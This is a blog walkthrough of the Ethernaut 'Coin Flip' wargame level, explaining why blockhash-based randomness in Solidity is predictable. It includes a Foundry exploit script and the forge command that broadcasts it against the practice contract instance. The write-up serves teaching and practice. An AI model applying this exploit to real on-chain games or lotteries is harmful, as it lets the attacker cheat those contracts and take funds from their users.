Ethernaut Level 03 - Coin Flip

Ethernaut Level 03 - Coin Flip

Analysis and solution for Ethernaut's level 03 - Coin Flip, with Solidity and Foundry

Aditya Dixit
·Aug 13, 2022·

3 min read

Subscribe to my newsletter and never miss my upcoming articles

Play this article

Objectives

This is a really cool coin flip game where you'll have to correctly guess the outcome 10 times in a row to win. If you guess wrong, the counter will reset and you'll have to do it all again.

So the question is how will you read the mind of the blockchain gods? It's simple. We will look into the source of randomness used in flipping the coin. Let's dive in.


Analysis

The problem with randomness in Ethereum is that Ethereum is a deterministic Turing machine, with no inherent randomness involved. To generate randomness in Ethereum developers often make use of data related to the blocks, i.e., block number, hash, etc.

These variables may look random but are actually deterministic and can be exploited if the inputs are known. We will do the same with our Coin Flip contract.

The Coin Flip is a simple game where there's only one function flip() where you have to supply your guess, either true or false. And if your guessed bool matches the value of the side variable, then the consecutiveWins will be increased. consecutiveWins is initially set to 0 inside the constructor and it is again set to zero if you guess wrong.

Let's look into how the side variable is getting its value. In the first line of the function, we can see the source of randomness which is:

uint256 blockValue = uint256(blockhash(block.number.sub(1)));

Here, we can see that it is calculating the blockhash using block.number - 1. This is then divided by the FACTOR which is also available to us and the result is stored int he variable coinFlip.

If the value of coinFlip is 1, then the side will be set to true, otherwise, false. This is what we have to guess.

Since we already have all the input variables and the source of randomness is also deterministic, can't we just make our own contract, guess the outcome, and submit it to Ethernaut's instance? I bet we can. This will allow us to guess the correct outcome every time.


The Exploit

Here's what our PoC script will look like:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel03.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";

contract POC is Script {
    using SafeMath for uint256;

    CoinFlip level3 = CoinFlip(0xa7604317Ebe188501578474781f18e8750d6FD3E);
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function run() external {
        vm.startBroadcast();

        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;

        if (side) {
            level3.flip(true); 
        } else {
            level3.flip(false);
        }

        console.log("Consecutive Wins: ", level3.consecutiveWins());
        vm.stopBroadcast();
    }
}

We have copied most of the contract logic from the vulnerable contract into our own so we will be able to simulate the coin flip logic.

In the if-else statement, if we get a true outcome, our contract will just create an external call to the level3 contract with a true guess and vice versa. This means that no matter the guess, our function call to the run() will always increase the consecutiveWins in the Ethernaut's instance.

In the end, I'm just logging the value of consecutiveWins to keep track.

We will execute the script using the following command:

forge script ./script/level03.sol --private-key $PKEY --broadcast --rpc-url $RPC_URL

It can be seen below that my current winning streak is 4. We just have to call this 10 times to win the game.

image.png

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry


Takeaways

Generating randomness natively on Ethereum is tricky and very difficult. All the data on the blockchain is public so care should be taken while storing anything sensitive.

You can make use of the following methods to generate secure random numbers:


References

 
Share this